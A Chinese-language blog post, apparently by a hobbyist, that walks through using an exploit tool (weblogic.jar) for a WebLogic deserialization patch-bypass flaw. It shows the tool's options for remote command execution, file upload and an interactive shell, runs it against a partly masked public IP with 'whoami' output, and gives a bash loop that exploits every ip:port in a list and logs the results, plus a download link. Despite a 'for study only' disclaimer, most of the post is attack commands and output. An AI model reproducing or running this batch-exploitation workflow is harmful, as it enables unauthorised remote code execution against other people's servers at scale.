~ 以下內容,僅供學習參考 ~
weblogic 反序列化補丁繞過漏洞已經出了兩個月了,balabala ~~~ 廢話不說,拿到該漏洞的利用工具weblogic.jar,但只能一個個檢測ip和端口,效率有點低 ~ 而我自己又沒有能力去重寫一個批量檢測工具,於是乎就想能不能通過一些非技術手段 ~ 先看下該工具的使用方法:
starnight:shell starnight$ java -jar weblogic.jar usage: supeream -B Runtime Blind Execute Command maybe you should select os type -C <arg> Execute Command[need set] -dst <arg> path to dst file -H <arg> Remote Host[need set] -https enable https or tls -noExecPath custom execute path -os <arg> Os Type [windows,linux] -P <arg> Remote Port[need set] -shell enable shell module -src <arg> path to src file -T <arg> Payload Type[marshall, collection, streamMessageImpl] -U Uninstall rmi -upload enable upload a file
一般來講我們只需要提供一個ip和端口就可以進行檢測了,像下面這樣:
starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P 7001 檢查是否安裝rmi實例 rmi已經安裝 執行命令:whoami weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P 7001 -shell 檢查是否安裝rmi實例 rmi已經安裝 please input cmd:>whoami weblogic please input cmd:>
工具運行的時候,會給出比較詳細的信息,試想以下,這些信息只需要保存在一個文本文件中,到時候我們直接查看文本便能清楚的知道,該ip:port是否存在weblogic反序列化補丁繞過漏洞,要是能讓該工具自動的從一個保存ip:port的文本文件中,一條條的讀取ip:port,然后執行,再將輸出信息保存在result.txt中,等程序運行結束,只要查看result.txt即可。
~ 怎么搞,當然是寫shell腳本啦 ~ 但是,我也不會啊 ~ 沒關系,一步步來,我們可以先想想如何去實現這樣一個小功能
~~ 首先,腳本需要從保存ip:port的列表文件ips.txt中一行行讀取,然后分別賦給ip 和 port變量
~~ 有了ip 和 port之后,這條命令便能執行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 將結果追加到文件中,使用 ">>"即可
~~ 再對腳本做一些修飾,讓輸出更友好
~~ shell腳本內容參考如下:
starnight:shell starnight$ cat exp.sh var=0 while IFS=: read ip port; do var=$((var + 1)) echo [$var] $ip $port echo "[$var]$ip $port" >> result.txt java -jar weblogic.jar -H $ip -P $port >> result.txt echo "" >> result.txt done < ips.txt
只要短短的幾行,便改造成了一個批量腳本,瞬間感覺,我要去學shell編程了 ~
運行該腳本:./exp.sh [需要執行權限]
運行結果就不分享了,試試哦 ~
腳本分享百度雲:
鏈接:http://pan.baidu.com/s/1c1FW2wK 密碼:ywm3